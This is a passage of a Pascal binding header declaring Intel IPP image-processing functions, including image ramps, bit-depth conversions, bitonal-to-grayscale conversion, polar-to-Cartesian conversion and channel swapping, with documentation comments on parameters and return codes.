function ippiImageRamp_8u_AC4R( pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_16u_C1R( pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_16u_C3R( pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_16u_C4R( pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_16u_AC4R( pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_16s_C1R( pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_16s_C3R( pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_16s_C4R( pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_16s_AC4R( pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_32f_C1R( pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_32f_C3R( pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_32f_C4R( pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
function ippiImageRamp_32f_AC4R( pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; offset : float ; slope : float ; axis : IppiAxis ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiConvert
Purpose: Converts pixel values of an image from one bit depth to another
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr srcStep or dstStep has zero or negative value
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step in bytes through the destination image
roiSize Size of the ROI
roundMode Rounding mode, ippRndZero or ippRndNear
}
function ippiConvert_8u8s_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_8u16u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u16u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u16u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u16u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u16s_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u16s_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u16s_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u32s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u32s_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u32s_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u32s_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u32f_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u32f_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8u32f_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s8u_C1Rs( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s16s_C1R( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s16u_C1Rs( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s32u_C1Rs( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp32uPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s32s_C1R( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s32s_C3R( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s32s_AC4R( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s32s_C4R( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s32f_C1R( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s32f_C3R( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s32f_AC4R( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_8s32f_C4R( pSrc : Ipp8sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u8u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u8u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u8u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u8u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u8s_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_16u16s_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_16u32u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32uPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u32s_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u32s_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u32s_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u32s_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u32f_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u32f_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16u32f_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s8s_C1RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_16s8u_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s8u_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s8u_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s8u_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s16u_C1Rs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s32u_C1Rs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32uPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s32s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s32s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s32s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s32s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s32f_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s32f_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s32f_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_16s32f_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_32u8u_C1RSfs( pSrc : Ipp32uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32u8s_C1RSfs( pSrc : Ipp32uPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32u16u_C1RSfs( pSrc : Ipp32uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32u16s_C1RSfs( pSrc : Ipp32uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32u32s_C1RSfs( pSrc : Ipp32uPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32u32f_C1R( pSrc : Ipp32uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
function ippiConvert_32s8u_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_32s8u_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_32s8u_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_32s8u_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_32s8s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_32s8s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_32s8s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_32s8s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiConvert_32s16u_C1RSfs( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32s16s_C1RSfs( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32s32u_C1Rs( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32uPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
function ippiConvert_32s32f_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roi : IppiSize ): IppStatus; _ippapi
function ippiConvert_32f8u_C1RSfs( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roi : IppiSize ; round : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32f8u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f8u_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f8u_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f8u_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f8s_C1RSfs( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roi : IppiSize ; round : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32f8s_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f8s_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f8s_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f8s_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8sPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f16u_C1RSfs( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roi : IppiSize ; round : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32f16u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f16u_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f16u_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f16u_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f16s_C1RSfs( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roi : IppiSize ; round : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32f16s_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f16s_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f16s_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f16s_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; roundMode : IppRoundMode ): IppStatus; _ippapi
function ippiConvert_32f32u_C1RSfs( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32uPtr ; dstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32f32u_C1IRSfs( pSrcDst : Ipp32uPtr ; srcDstStep : Int32 ; roi : IppiSize ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiConvert_32f32s_C1RSfs( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roi : IppiSize ; round : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiBinToGray_1u(8u|16u|16s|32f)_C1R,
ippiGrayToBin_(8u|16u|16s|32f)1u_C1R
Purpose: Converts a bitonal image to an 8u, 16u,16s, or 32f grayscale image and vice versa.
Parameters:
pSrc - Pointer to the source image ROI.
srcStep - Distance, in bytes, between the starting points of consecutive lines in the source image.
srcBitOffset - Offset (in bits) from the first byte of the source image row.
pDst - Pointer to the destination image ROI.
dstStep - Distance, in bytes, between the starting points of consecutive lines in the destination image.
dstBitOffset - Offset (in bits) from the first byte of the destination image row.
roiSize - Size of the ROI.
loVal - Destination value that corresponds to the "0" value of the corresponding source element.
hiVal - Destination value that corresponds to the "1" value of the corresponding source element.
threahold - Threshold level.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when :
roiSize has a zero or negative value.
srcBitOffset or dstBitOffset is less than zero.
ippStsStepErr - Error when srcStep or dstStep has a zero or negative value.
}
function ippiBinToGray_1u8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; loVal : Ipp8u ; hiVal : Ipp8u ): IppStatus; _ippapi
function ippiBinToGray_1u16u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; loVal : Ipp16u ; hiVal : Ipp16u ): IppStatus; _ippapi
function ippiBinToGray_1u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; loVal : Ipp16s ; hiVal : Ipp16s ): IppStatus; _ippapi
function ippiBinToGray_1u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; loVal : Ipp32f ; hiVal : Ipp32f ): IppStatus; _ippapi
function ippiGrayToBin_8u1u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; threshold : Ipp8u ): IppStatus; _ippapi
function ippiGrayToBin_16u1u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; threshold : Ipp16u ): IppStatus; _ippapi
function ippiGrayToBin_16s1u_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; threshold : Ipp16s ): IppStatus; _ippapi
function ippiGrayToBin_32f1u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; threshold : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiPolarToCart
Purpose: Converts an image in the polar coordinate form to Cartesian
coordinate form
Parameters:
pSrcMagn Pointer to the source image plane containing magnitudes
pSrcPhase Pointer to the source image plane containing phase values
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the ROI
Return:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr height or width of the image is less than 1
ippStsStepErr, if srcStep <= 0 or
dstStep <= 0
ippStsNoErr No errors
}
function ippiPolarToCart_32fc_C1R( pSrcMagn : Ipp32fPtr ; pSrcPhase : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pDst : Ipp32fcPtr ; dstStep : Int32 ): IppStatus; _ippapi
function ippiPolarToCart_32fc_C3R( pSrcMagn : Ipp32fPtr ; pSrcPhase : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pDst : Ipp32fcPtr ; dstStep : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiSwapChannels
Purpose: Changes the order of channels of the image
The function performs operation for each pixel:
pDst[0] = pSrc[ dstOrder[0] ]
pDst[1] = pSrc[ dstOrder[1] ]
pDst[2] = pSrc[ dstOrder[2] ]
pDst[3] = pSrc[ dstOrder[3] ]
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is less than or equal to zero
ippStsChannelOrderErr dstOrder is out of the range,
it should be: dstOrder[3] = ( 0..2, 0..2, 0..2 ) for C3R, AC4R image
and dstOrder[4] = ( 0..3, 0..3, 0..3 ) for C4R image
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image
srcStep Step in bytes through the source image
pDst Pointer to the destination image
dstStep Step in bytes through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
dstOrder The order of channels in the destination image
}
function ippiSwapChannels_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ): IppStatus; _ippapi
function ippiSwapChannels_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_4 ): IppStatus; _ippapi
function ippiSwapChannels_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
function ippiSwapChannels_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const dstOrder : Int32_3 ): IppStatus; _ippapi
